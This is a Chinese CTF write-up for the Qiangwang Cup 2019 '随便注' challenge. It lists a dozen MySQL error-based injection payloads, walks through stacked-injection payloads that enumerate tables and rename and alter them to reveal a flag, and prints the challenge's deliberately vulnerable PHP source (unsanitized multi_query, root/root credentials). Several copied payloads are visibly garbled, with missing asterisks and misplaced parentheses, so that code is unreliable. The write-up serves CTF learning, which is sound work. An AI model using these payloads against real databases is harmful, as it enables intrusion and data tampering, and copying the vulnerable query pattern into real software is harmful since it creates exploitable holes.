本文主要是介绍强网杯 2019]随便注解题方式,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
先来看题
这里只有一个提交,那我们就先提交看看情况找找思路
这里提交以后发现也没有什么有用的信息
这样我们只能根据我们的经验先试试
输入1'发现有报错
有报错信息就可以试试报错注入了,但是这种ctf题通常会有限制字符所以我使用
1' select 1,2#
来试了试select有没有被限制(ps一般都会对select , information等有限制)
有限制这里我们就不能考虑报错注入了因为报错注入语句需要用select
其次 select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。
1.通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
这里我列出了12种报错注入语句(这里是引用了别人的文章12种报错注入+万能语句_polygon报错注入-CSDN博客)
这里我们就尝试堆叠注入
1'; show databases#
这里证明堆叠注入可行,我们就继续看看它的表以及列找找flag
1'; show tables#
1'; desc `1919810931114514`#
这里查看这张表这里注意如果表名是全数字要加反引号(ps反引号英文模式下esc下面的键位)
在看看第二张表
1'; desc words#
这里我们基本能确定它自己程序的select语句默认的表是words
那思路就有了我们可以把19的表变words words变其他在给19外加一列不就可以查了
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
修改完成后我们使用
1' 1=1#
来爆出flag
<html><head><meta charset="UTF-8"><title>easy_sql</title>
</head><body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">姿势: <input type="text" name="inject" value="1"><input type="submit">
</form><pre>
<?php
function waf1($inject) {preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}function waf2($inject) {strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}if(isset($_GET['inject'])) {$id = $_GET['inject'];waf1($id);waf2($id);$mysqli = new mysqli("127.0.0.1","root","root","supersqli");//多条sql语句$sql = "select * from `words` where id = '$id';";$res = $mysqli->multi_query($sql);if ($res){//使用multi_query()执行一条或多条sql语句do{if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果while ($row = $rs->fetch_row()){var_dump($row);echo "<br>";}$rs->Close(); //关闭结果集if ($mysqli->more_results()){ //判断是否还有更多结果集echo "<hr>";}}}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值} else {echo "error ".$mysqli->errno." : ".$mysqli->error;}$mysqli->close(); //关闭数据库连接
}?>
</pre></body></html>
这里把源码发出来可以找找其他解题方式
这篇关于强网杯 2019]随便注解题方式的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!